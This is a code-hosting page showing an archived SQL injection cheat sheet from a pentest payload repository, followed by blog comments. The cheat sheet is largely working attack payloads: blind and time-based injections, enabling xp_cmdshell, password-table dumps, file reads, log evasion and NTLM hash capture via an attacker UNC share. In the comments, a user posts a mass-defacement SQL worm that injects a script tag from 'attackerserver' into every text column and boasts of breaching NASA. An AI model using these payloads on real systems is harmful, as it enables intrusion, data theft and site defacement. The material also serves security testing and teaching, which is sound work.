/
osbornray
/
fuzzdb
Обзор
Документация
Войти
/
osbornray
/
fuzzdb
Код
Запросы
0
Задачи
Вики
Пакеты
0
Релизы
0
Аналитика
Безопасность
master
docs/attack-docs/sqli/docs.sql_injection_cheatsheet.html
910 строк
72 KB
Adam Muntner
doc relocation and renaming update
12 сен 2015, 02:39
12 сен 2015, 02:39
a58bdb6
Код
Авторство
О чём код?
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>SQL Injection Cheat Sheet</title> <meta http-equiv="content-type" content="application/xhtml+xml; charset=utf-8" /> <meta name="robots" content="index, follow" /> <meta name="description" content="Ferruh Mavituna' nın Güvenlik, İnternet Teknolojileri, Yazılım Geliştirme ve benzer konular üzerine yazdığı mekan" /> <meta name="keywords" content="english,web,uygulamasi,guvenligi,web,application,security,security,sql,injection," /> <meta name="author" content="Ferruh Mavituna" /> <link rel="shortcut icon" href="/favicon.ico" /> <link rel="stylesheet" href="/css/fm.css" media="screen" type="text/css" /> <link rel="stylesheet" type="text/css" href="/js/editor/skins/simple/style.css" /> <link rel="stylesheet" type="text/css" href="/js/editor/sets/default/style.css" /> <link rel="alternate" href="/rss/" title="RSS Feed" type="application/rss+xml" /> <link rel="alternate" href="/rss/comments/" title="Yorumlar RSS Feed" type="application/rss+xml" /> <script src="/js/jquery.js" type="text/javascript"></script> <script src="/js/fmv3.js" type="text/javascript"></script> <script src="/js/searchhighlight.js" type="text/javascript"></script> </head> <body> <div id="container"> <div id="header"> <a href="/"><img src="/mg/fm.gif" width="146" height="65" alt="Ferruh Mavituna Logo" /></a> </div> <div id="wrapper"> <div class="navtoggle"><a style="text-decoration:none" href="javascript:;" class="jnavigation"><img src="/mg/icons/hide.gif" width="17" height="16" class="abs" alt="" /> Menüyü Gizle</a></div> <div id="content"> <div class="ad" style="float:none;width:100%;text-align:center;margin-bottom:10px"> <a href="http://www.guvenlikegitimleri.com/new/web-application-pentest-egitimi-22-mayis-2010"><img src="/mg/ad/web_egitimi.gif" /></a> </div> <div class="blog" id="blogsql-injection-cheatsheet"> <h1><a href="/sql-injection-cheatsheet-oku/">SQL Injection Cheat Sheet</a></h1> <div class="tags"> <img class="abs" src="/mg/icons/tag_blue.png" width="16" height="16" alt="Etiketler" /> <a href="/tag/sql+injection/" class="tag">sql injection</a>, <a href="/tag/security/" class="tag">security</a>, <a href="/tag/web+application+security/" class="tag">web application security</a>, <a href="/tag/web+uygulamasi+guvenligi/" class="tag">web uygulamasi guvenligi</a>, <a href="/tag/english/" class="tag">english</a>, <span class="date">15.03.2007</span> </div> <!--<div style="float:right"><script type="text/javascript" src="http://yakutum.pasaj.com/widgetjs"></script></div>--> <div class="post"><p> </p> <h2><em>Find and exploit SQL Injections with <a href="http://www.mavitunasecurity.com/">Netsparker, Next Generation Web Application Security Scanner</a></em></h2> <p> … [Строка слишком длинная. Вы можете скачать файл] <p>OPENROWSET (Transact-SQL) - <a href="http://msdn2.microsoft.com/en-us/library/ms190312.aspx">http://msdn2.microsoft.com/en-us/library/ms190312.aspx</a></p> <p>You can not use sub selects in SQL Server Insert queries.</p> <h4>SQL Injection in LIMIT (M) or ORDER (MSO)</h4> <p><code>SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;</code></p> <p>If injection is in second <em>limit</em> you can comment it out or use in your union injection </p> <h4>Shutdown SQL Server (S)</h4> <p>When you really pissed off, <code>';shutdown -- </code></p> <h3><a id="Enablecmdshell" name="Enablecmdshell"></a>Enabling xp_cmdshell in SQL Server 2005 </h3> <p class="idea">By default xp_cmdshell and couple of other potentially dangerous stored procedures are disabled in SQL Server 2005. If you have admin access then you can enable these.</p> <p><code>EXEC sp_configure 'show advanced options',1 <br />RECONFIGURE</code></p> <p><code>EXEC sp_configure 'xp_cmdshell',1 <br />RECONFIGURE</code></p> <h3>Finding Database Structure in SQL Server (S) </h3> <h4>Getting User defined Tables</h4> <p><code>SELECT name FROM sysobjects WHERE xtype = 'U'</code></p> <h4>Getting Column Names</h4> <p><code>SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')</code></p> <h3>Moving records (S)</h3> <ul> <li>Modify WHERE and use <strong><code>NOT IN</code></strong> or <strong><code>NOT EXIST</code></strong>, <br /><code>... WHERE users NOT IN ('First User', 'Second User')</code> <br /><code class="hi">SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)</code> <em>-- very good one</em> <br /> <br /></li> <li>Using Dirty Tricks <br /><code>SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int </code> <br /><code> <br />Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21</code> <br /></li> </ul> <p> </p> <h3>Fast way to extract data from Error Based SQL Injections in SQL Server (S)</h3> <p><code><span id="gr">';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--</span></code></p> <p><strong>Detailed Article : </strong><span id="gr"><a href="http://ferruh.mavituna.com/makale/fast-way-to-extract-data-from-error-based-sql-injections/">Fast way to extract data from Error Based SQL Injections</a></span> <br /></p> <h2>Blind SQL Injections </h2> <h3>About Blind SQL Injections </h3> <p class="idea">In a quite good production application generally <strong>you can not see error responses on the page</strong>, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections. </p> <p class="idea"><strong>Normal Blind</strong>, You can not see a response in the page but you can still determine result of a query from response or HTTP status code <br /><strong>Totally Blind</strong>, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common though. </p> <p class="idea">In normal blinds you can use <strong>if statements</strong> or abuse <strong>WHERE query in injection</strong> (<em>generally easier</em>), in totally blinds you need to use some waiting functions and analyze response times. For this you can use <strong>WAIT FOR DELAY '0:0:10' </strong>in SQL Server, BENCHMARK() in MySQL, <strong>pg_sleep(10) </strong>in PostgreSQL, and some PL/SQL tricks in ORACLE.</p> <h4><a id="BSQLAttackSamples" name="BSQLAttackSamples"></a>Real and a bit Complex Blind SQL Injection Attack Sample</h4> <p class="idea">This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm. </p> <p class="idea"><em><strong>TRUE</strong> and <strong>FALSE</strong> flags mark queries returned true or false. </em></p> <p><code><strong>TRUE</strong> : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78-- <br /> <br /><strong>FALSE</strong> : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103-- <br /> <br /><strong>TRUE</strong> : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<103-- <br /> <br /><strong>FALSE</strong> : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89-- <br /> <br /><strong>TRUE</strong> : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<89-- <br /> <br /><strong>FALSE</strong> : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83-- <br /> <br /><strong>TRUE</strong> : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<83-- <br /> <br /><strong>FALSE</strong> : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80-- <br /> <br /><strong>FALSE</strong> : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)<80-- </code></p> <p class="idea">Since both of the <strong>last 2 queries failed </strong>we clearly know table name's first char's <strong>ascii value is 80 which means first char is `P`</strong>. This is the way to exploit Blind SQL injections by binary search algorithm. Other well known way is reading data bit by bit. Both can be effective in different conditions. </p> <h3> </h3> <h3>Waiting For Blind SQL Injections</h3> <p>First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.</p> <h4>WAIT FOR DELAY 'time' (S) </h4> <p>This is just like sleep, wait for spesified time. CPU safe way to make database wait. </p> <p><code>WAITFOR DELAY '0:0:10'--</code></p> <p>Also you can use fractions like this,</p> <p><code>WAITFOR DELAY '0:0:0.51'</code></p> <h4>Real World Samples </h4> <ul> <li>Are we 'sa' ? <br /><code>if (select user) = 'sa' waitfor delay '0:0:10' </code></li> <li>ProductID = <code>1;waitfor delay '0:0:10'--</code> </li> <li>ProductID =<code>1);waitfor delay '0:0:10'--</code> </li> <li>ProductID =<code>1';waitfor delay '0:0:10'--</code> </li> <li>ProductID =<code>1');waitfor delay '0:0:10'--</code> </li> <li>ProductID =<code>1));waitfor delay '0:0:10'--</code> </li> <li>ProductID =<code>1'));waitfor delay '0:0:10'--</code> </li> </ul> <h4>BENCHMARK() (M)</h4> <p>Basically we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!</p> <p><code>BENCHMARK(howmanytimes, do this)</code></p> <h4>Real World Samples </h4> <ul> <li>Are we root ? woot! <br /><code>IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))</code> <br /> <br /></li> <li>Check Table exist in MySQL <br /><code>IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))</code> <br /></li> </ul> <h4>pg_sleep(seconds) (P)</h4> <p class="idea">Sleep for supplied seconds. </p> <ul> <li><code>SELECT pg_sleep(10); </code> <br /><span class="idea">Sleep 10 seconds. </span></li> </ul> <h2>Covering Tracks</h2> <h4>SQL Server -sp_password log bypass (S) </h4> <p>SQL Server don't log queries which includes sp_password for security reasons(!). So if you add --sp_password to your queries it will not be in SQL Server logs (<em>of course still will be in web server logs</em>, <em>try to use POST if it's possible</em>) </p> <h2>Clear SQL Injection Tests</h2> <p>These tests are simply good for blind sql injection and silent attacks.</p> <ol type="1"> <li><code>product.asp?id=4 (SMO) </code> <ol type="a"> <li><code>product.asp?id=5-1</code> </li> <li><code>product.asp?id=4 OR 1=1 <br /> <br /></code></li> </ol> </li> <li><code>product.asp?name=Book</code> <ol type="a"> <li><code>product.asp?name=Bo’%2b’ok</code> </li> <li><code>product.asp?name=Bo’ || ’ok (<em>OM</em>)</code> </li> <li><code>product.asp?name=Book’ OR ‘x’=’x</code> </li> </ol> </li> </ol> <h2>Some Extra MySQL Notes </h2> <ul> <li>Sub Queries are working only MySQL 4.1+ </li> <li>Users <ul type="circle"> <li><code>SELECT User,Password FROM mysql.user;</code> </li> </ul> </li> <li><code>SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;</code> </li> <li><span class="hi"><code>SEL</code></span><code>ECT ... INTO DUMPFILE</code> <ul type="circle"> <li><code>Write quer</code><span class="hi"><code>y into a <strong>new file </strong>(<em>can not modify existing file</em>s)</code></span> </li> </ul> </li> <li>UDF Function <ul type="circle"> <li><code>create function LockWorkStation returns integer soname 'user32';</code> </li> <li><code>select LockWorkStation(); <br /></code></li> <li><code>create function ExitProcess returns integer soname 'kernel32';</code> </li> <li><code>select exitprocess();</code> </li> </ul> </li> <li><code>SELECT USER();</code> </li> <li><code>SELECT password,USER() FROM mysql.user;</code> </li> <li>First byte of admin hash <ul type="circle"> <li><code>SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;</code> </li> </ul> </li> <li>Read File <ul> <li><code>query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1</code> </li> </ul> </li> <li>MySQL Load Data inifile <br /> <ul> <li><strong>By default it’s not avaliable !</strong> <ul> <li><code>create table foo( line blob ); <br />load data infile 'c:/boot.ini' into table foo; <br />select * from foo;</code> </li> </ul> </li> </ul> </li> <li>More Timing in MySQL </li> <li><code>select benchmark( 500000, sha1( 'test' ) );</code> </li> <li><code>query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 </code></li> <li><code>select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' ); <br /></code><strong>Enumeration data, Guessed Brute Force</strong> <ul> <li><code>select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );</code> </li> </ul> </li> </ul> <h4>Potentially Useful MySQL Functions</a></h4> <ul> <li><code>MD5()</code> <br /><span class="idea">MD5 Hashing </span> <br /></li> <li><code>SHA1()</code> <br /><span class="idea">SHA1 Hashing </span> <br /> <br /></li> <li><code>PASSWORD()</code> </li> <li><code>ENCODE()</code> </li> <li><code>COMPRESS()</code> <br /><span class="idea">Compress data, can be great in large binary reading in Blind SQL Injections.</span> <br /></li> <li><code>ROW_COUNT()</code> </li> <li><code>SCHEMA()</code> </li> <li><code>VERSION()</code> <br /><span class="idea">Same as <code>@@version</code></span> </li> </ul> <h2>Second Order SQL Injections</h2> <p>Basically you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem. </p> <p>Name : <code>' + (SELECT TOP 1 password FROM users ) + ' </code> <br />Email :<code> <a href="mailto:xx@xx.com">xx@xx.com</a></code></p> <p>If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.</p> <h3>Forcing SQL Server to get NTLM Hashes </h3> <p class="idea">This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.</p> <h4>Bulk insert from a UNC Share (S) <br /><code>bulk insert foo from '\\YOURIPADDRESS\C$\x.txt' </code></h4> <p class="idea">Check out Bulk Insert Reference to understand how can you use bulk insert. </p> <h2>References </h2> <p><em>Since these notes collected from several different sources within several years and personal experiences, may I missed some references. If you believe I missed yours or someone else then <a href="http://ferruh.mavituna.com/iletisim/">drop me an email</a> (ferruh-at-mavituna.com), I'll update it as soon as possible. </em></p> <ul> <li><strong>Lots of Stuff</strong> <ul> <li><a href="http://www.ngssoftware.com/papers/advanced_sql_injection.pdf">Advanced SQL Injection In SQL Applications</a>, <em>Chris Anley</em> </li> <li><a href="http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf">More Advanced SQL Injection In SQL Applications</a>, <em>Chris Anley</em> </li> <li><a href="http://www.imperva.com/download.asp?id=4">Blindfolded SQL Injection</a>, <em>Ofer Maor – Amichai Shulman</em> </li> <li><a href="http://www.ngssoftware.com/papers/HackproofingMySQL.pdf">Hackproofing MySQL</a>, <em>Chris Anley</em> </li> <li><a href="http://eu.wiley.com/WileyCDA/WileyTitle/productCd-0764578014.html">Database Hacker's Handbook</a>, <em>David Litchfield, Chris Anley, John Heasman, Bill Grindlay</em> </li> <li><strong>Upstairs Team! </strong> <br /> <br /></li> </ul> </li> <li><strong>MSSQL </strong><strong>Related</strong> <ul> <li>MSSQL Operators - <a href="http://msdn2.microsoft.com/en-us/library/aa276846(SQL.80).aspx">http://msdn2.microsoft.com/en-us/library/aa276846(SQL.80).aspx</a> </li> <li>Transact-SQL Reference - <a href="http://msdn2.microsoft.com/en-us/library/aa299742(SQL.80).aspx">http://msdn2.microsoft.com/en-us/library/aa299742(SQL.80).aspx</a> </li> <li>String Functions (Transact-SQL) - <a href="http://msdn2.microsoft.com/en-us/library/ms181984.aspx">http://msdn2.microsoft.com/en-us/library/ms181984.aspx</a> </li> <li>List of MSSQL Server Collation Names - <a href="http://msdn2.microsoft.com/en-us/library/ms180175.aspx">http://msdn2.microsoft.com/en-us/library/ms180175.aspx</a> </li> <li>MSSQL Server 2005 Login Information and some other functions : <a href="http://www.notsosecure.com/">Sumit Siddharth</a> <br /> <br /></li> </ul> </li> <li><strong>MySQL </strong><strong>Related</strong> <ul> <li>Comments : <a href="http://dev.mysql.com/doc/">http://dev.mysql.com/doc/ </a></li> <li>Control Flows - <a href="http://dev.mysql.com/doc/refman/5.0/en/control-flow-functions.html">http://dev.mysql.com/doc/refman/5.0/en/control-flow-functions.html</a> </li> <li>MySQL Gotchas - <a href="http://sql-info.de/mysql/gotchas.html">http://sql-info.de/mysql/gotchas.htm</a> </li> <li><a href="http://www.securiteam.com/securityreviews/5KP0N1PC1W.html">New SQL Injection Concept</a>, <em>Tonu Samuel</em> </li> </ul> </li> </ul> <h2>ChangeLog</h2> <ul> <li>15/03/2007 - Public Release v1.0 </li> <li>16/03/2007 - v1.1 <ul> <li>Links added for some paper and book references </li> <li>Collation sample added </li> <li>Some typos fixed </li> <li>Styles and Formatting improved </li> <li>New MySQL version and comment samples </li> <li>PostgreSQL Added to Ascii and legends, pg_sleep() added blind section </li> <li>Blind SQL Injection section and improvements, new samples </li> <li>Reference paper added for MySQL comments </li> </ul> </li> <li>21/03/2007 - v1.2 <ul> <li>BENCHMARK() sample changed to avoid people DoS their MySQL Servers </li> <li>More Formatting and Typo </li> <li>Descriptions for some MySQL Function </li> </ul> </li> <li>30/03/2007 v1.3 <ul> <li>Niko pointed out PotsgreSQL and PHP supports stacked queries </li> <li>Bypassing second MD5 check login screens description and attack added </li> <li>Mark came with extracting NTLM session idea, added </li> <li>Detailed Blind SQL Exploitation added </li> </ul> </li> <li>13/04/2007 v1.4 - <em>Release</em> <ul> <li>SQL Server 2005 enabling xp_cmdshell added (<em>trick learned from mark</em>) </li> <li><a href="http://www.byakuya-shobo.co.jp/hj/2007_05_SQLcheat.html">Japanese version of SQL Injection Cheat Sheet released</a> (<em>v1.1</em>) </li> </ul> </li> </ul> <h2>To Do / Contact / Help </h2> <p>I got lots of notes for ORACLE, PostgreSQL, DB2 and MS Access and some of undocumented tricks in here. They will be available soon I hope. If you want to help or send a new trick, not here thing just <a href="http://ferruh.mavituna.com/iletisim/">drop me an email</a> (<em>ferruh-at-mavituna.com</em>). </p></div> <div class="commentlinks"> <a href="/sql-injection-cheatsheet-oku/#addcomment" class="jwritecomment" id="/sql-injection-cheatsheet-oku/"> <img src="/mg/icons/comment_add.png" width="16" height="16" alt="Yorum Ekle" class="abs" /> Yorumunu Ekle</a> - <a href="/sql-injection-cheatsheet-oku/print/"> <img src="/mg/icons/printer.png" width="16" height="16" alt="Yazıcı Versiyonu" class="abs" /> Yazıcı Versiyonu</a> - <a href="/sql-injection-cheatsheet-oku/rss/"> <img src="/mg/icons/commentrss.png" width="16" height="16" alt="Yorumlar için RSS" class="abs" /> Yorumlar için RSS</a> </div> <div id="relatedarticles"> <h3>İlişkili olabilecek yazılar</h3> <ul><li><a href="/sql-injection-cheat-sheet-is-online-oku/">SQL Injection Cheat Sheet is Online !</a></li> <li><a href="/sql-injection-cheatsheet-online-oku/">SQL Injection Cheat Sheet Online!</a></li> <li><a href="/sql-injection-cheat-sheet-yenilendi-oku/">SQL Injection Cheat Sheet Yenilendi</a></li> </ul> </div> </div> <a id="comments"></a> <div class="comment" > <div class="commentd"> <img src="/avatar/-1301817992/" width="64" height="64" alt="" /> </div> <h4>Ravendra Patel - <em>12 gün 3 saat 24 dakika önce</em></h4> <p> Thanks so much dear. I'll always looking your help...</p> </div> <div class="comment" > <div class="commentd"> <img src="/avatar/1407825541/" width="64" height="64" alt="" /> </div> <h4><a href="http://hackingethics.wordpress.com" rel="nofollow">"vinnu"</a> - <em>15 gün 5 saat 9 dakika önce</em></h4> <p> This is my SQL virus module for Uday virus (SQL+XSS+AJAX):<br /><br />';while(1=1) BEGIN DECLARE @Ta varchar(255),@Co varchar(4000) DECLARE uday CURSOR FOR select x.name,y.column_name from sysobjects x,information_schema.columns y where x.name=y.table_name and x.type='U' and (y.data_type='varchar' or y.data_type='text') OPEN uday FETCH NEXT FROM uday INTO @Ta,@Co WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@Ta+'] set ['+@Co+']=''<H2>Legion Of Xtremers</H2><HR><H1>Owned by LOXians now..."vinnu"<script src="http://attackerserver/malicious.js"></script>'' where '+@Co+' not like ''XXXX''')FETCH NEXT FROM uday INTO @Ta,@Co END CLOSE uday DEALLOCATE uday commit END--sp_password<br /><br /><br />It hunts for all varchar or TEXT type columns in all user defined tables and replaces the values with the malicious values.<br /><br />"vinnu"<br />Legion Of Xtremers (India)</p> </div> <div class="comment" > <div class="commentd"> <img src="/avatar/-955206086/" width="64" height="64" alt="" /> </div> <h4><a href="http://ferruh.mavituna.com" rel="nofollow">Tesekkur ederim</a> - <em>25 gün 4 saat 23 dakika önce</em></h4> <p> Really Great Job dude.<br />Keep up!<br />Respect<br /><br />Tesekkur ederim Abi<img src="/mg/smilies/smile.gif" width="21" height="22" alt=":)" /></p> </div> <div class="comment" > <div class="commentd"> <img src="/avatar/879388921/" width="64" height="64" alt="" /> </div> <h4>Seagate - <em>04.03.2010</em></h4> <p> Vinnu where can I contact you for a job?</p> </div> <div class="comment" > <div class="commentd"> <img src="/avatar/-1226150521/" width="64" height="64" alt="" /> </div> <h4>vinnu - <em>16.02.2010</em></h4> <p> Jaijeya<br />Some tips about MS-Access (Jet database engine):<br /><br />You should not insert comment characters as Jet db engine doesn't recognise them so avoid them in injection.<br />Instead you should try to inject the SQL in such a way that it satisfies the whole query.<br />In most cases the injection can be done in where or order by clauses so for example:<br />if query is like: WHERE title LIKE '%<injectionhere>%'<br />Then do it like: WHERE title LIKE'%a' your SQL here WHERE name LIKE 'a%'<br />...Likewise.<br />To know rest of the query insert a single double quote " after a single quote ', in most cases it will reveal the part of query right from injection point.<br /><br />It is possible to use other databases or files from query. This can also be helpful in enumerating the directory structure of the target server.<br />Also it is most probable that the server will be windows based if Jet db engine is there. In this case there exists a file called setuplog.txt which gets created right at the time of windows installation and it contains important information about server os and hardware, and it is compatible to be loaded in a query as a table:<br /><br />'+union+select+1,File,Message,Line,Time,6,Tag,8,9,10,11+from+[TEXT;DATABASE=c:%5Cwindows;HDR=YES;FMT=Delimited].[setuplog.txt]'<br /></p> </div> <div class="comment" > <div class="commentd"> <img src="/avatar/1843677050/" width="64" height="64" alt="" /> </div> <h4><a href="http://wiki.eslimasec.com" rel="nofollow">eslimasec</a> - <em>13.02.2010</em></h4> <p> Dear Ferruh,<br /><br />we developped a small tool to aid Webapptesting that includes many of your tricks, It can be find here<a href="http://wiki.eslimasec.com/esliwiki/ProjectsPost">http://wiki.eslimasec.com/esliwiki/ProjectsPost</a>.<br /><br />hope it is useful 4 u and ya readers.<br /><br />best regards</p> </div> <div class="comment" > <div class="commentd"> <img src="/avatar/-1637195092/" width="64" height="64" alt="" /> </div> <h4>vinnu - <em>12.02.2010</em></h4> <p> In case of Oracle database server, when union doesn't work, then we can retrieve the desired results randomly. It helped me a lot in Penetrating into NASA.<br />Following type of injection will be helpful in such cases:<br /><br />'or+1=utl_inaddr.get_host_address((SELECT+username+FROM+(SELECT+username+FROM+all_users+ORDER+BY+dbms_random.value)+WHERE+rownum=1))--</p> </div> <div class="comment" > <div class="commentd"> <img src="/avatar/-1637195092/" width="64" height="64" alt="" /> </div> <h4>vinnu - <em>12.02.2010</em></h4> <p> Also in case if u r just pairing single quotes, then u can easily ecape one of the single quote using a forward slash "\".<br />This will again break the SQL query and will inject the parameter as a SQL query.</p> </div> <div class="comment" > <div class="commentd"> <img src="/avatar/1101713098/" width="64" height="64" alt="" /> </div> <h4>mr.ots - <em>05.02.2010</em></h4> <p> waow.<br />this is not going to be a waste bookmark!<br />thanks<img src="/mg/smilies/smile.gif" width="21" height="22" alt=":)" /></p> </div> <div class="comment" > <div class="commentd"> <img src="/avatar/-1736017014/" width="64" height="64" alt="" /> </div> <h4>AK213 - <em>03.02.2010</em></h4> <p> Goooood</p> </div> <div class="comment" > <div class="commentd"> <img src="/avatar/225341048/" width="64" height="64" alt="" /> </div> <h4>vinnu - <em>28.01.2010</em></h4> <p> @Brent Jenkins:<br />Well there is a case, when this check can be thwarted, check scenario:<br />There are atleast two input fields (mostly user/password) and the fields are bound to the maxlength, and the maxlength check is also implemented in server side script e.g. asp, php etc.<br />Noiw If u fill the first comming input with single quote ' (SQL meta) then, above script will try to pair up the single quotes.<br />Now if all the space is acquired by single quotes, then above listed script will try to pair up all the single quotes and this will obviously increase the size of input variable. Then if, the variable input is tripped, then it may lead to an unpaired single quotation mark, this will pair up with the second condition's first single quote and will make second condition as a string and the second input becomes a part of SQL script and making SQL injection feasible.<br />LOX (Legion Of Xtremers)INDIA</p> </div> <div class="comment" > <div class="commentd"> <img src="/avatar/-1524106412/" width="64" height="64" alt="" /> </div> <h4>kai - <em>31.10.2009</em></h4> <p> this sql not working in .aspx login page. can anyone tell me sql injection to bypass .aspx login page.</p> </div> <div class="comment" > <div class="commentd"> <img src="/avatar/-1506816942/" width="64" height="64" alt="" /> </div> <h4>kristofdpx - <em>29.09.2009</em></h4> <p> Stacked queries didn't work with PHP-MYSQL. Tested on PHP 5.2.1 and Mysql 5.0</p> </div> <div class="comment" > <div class="commentd"> <img src="/avatar/1673518080/" width="64" height="64" alt="" /> </div> <h4>jambo - <em>27.07.2009</em></h4> <p> If this helps at all, follow this link to a page I posted with some programming help against those SQL Injection attacks!<br />Hey. Thanks for the tutorial. It is very complete.</p> </div> <div class="comment" > <div class="commentd"> <img src="/avatar/656648260/" width="64" height="64" alt="" /> </div> <h4>bugman - <em>02.07.2009</em></h4> <p> All the listed cases are true only for those lames who still use concatenation of user-driven datum to SQL code instead of parameters-binding mechanism</p> </div> <div class="comment" > <div class="commentd"> <img src="/avatar/-1022016500/" width="64" height="64" alt="" /> </div> <h4>milon - <em>01.07.2009</em></h4> <p> hello<br /> any one can give me an example how to apply SQL injection in website details.</p> </div> <div class="comment" > <div class="commentd"> <img src="/avatar/1139031621/" width="64" height="64" alt="" /> </div> <h4><a href="http://wocares.com" rel="nofollow">Kyo</a> - <em>26.03.2009</em></h4> <p> I've got a little tool for generating CHAR() and hex codes for SQL injections if magic quotes is enabled here:<br /><br />http://wocares.com/noquote.php<br /><br />just check SQL Injection</p> </div> <div class="comment" > <div class="commentd"> <img src="/avatar/787188187/" width="64" height="64" alt="" /> </div> <h4><a href="http://www.k-wi.com" rel="nofollow">zniko07</a> - <em>05.03.2009</em></h4> <p> ' OR 1=1--<br />oh i tried to sql inject your comments but it didn't worked<img src="/mg/smilies/grin.gif" width="21" height="22" alt=":D" />! lol<br />i really liked your article!! it's great! thank you<br /><br /></p> </div> <div class="comment" > <div class="commentd"> <img src="/avatar/902991003/" width="64" height="64" alt="" /> </div> <h4>dave roberts - <em>27.01.2009</em></h4> <p> Thanks so much for the document. Its simply awesome, i m successful<img src="/mg/smilies/wink.gif" width="21" height="22" alt=";)" /></p> </div> <div class="comment" > <div class="commentd"> <img src="/avatar/-123711581/" width="64" height="64" alt="" /> </div> <h4><a href="http://www.warezlol.com/" rel="nofollow">fLaSh</a> - <em>31.12.2008</em></h4> <p> I really liked the cheatsheet. nice work!<br /><br />Author of MySQLi Dumper</p> </div> <div style="text-align:center;"><span class="pagingnormal"><strong>1</strong> - <a href="/sql-injection-cheatsheet-oku/page/2/#comments">2</a> - <a href="/sql-injection-cheatsheet-oku/page/3/#comments">3</a> - <a href="/sql-injection-cheatsheet-oku/page/4/#comments">4</a> - <a href="/sql-injection-cheatsheet-oku/page/2/#comments">İleri »</a> - <a href="/sql-injection-cheatsheet-oku/page/4/#comments">»»</a></span></div> <div id="commentarticlewrite"><script src="/js/editor/jquery.markitup.pack.js" type="text/javascript"></script> <script src="/js/editor/sets/default/set.js" type="text/javascript"></script> <h1 id="addcomment">Yorum Yazın</h1> <blockquote><br />Tüm yorumlar onaydan 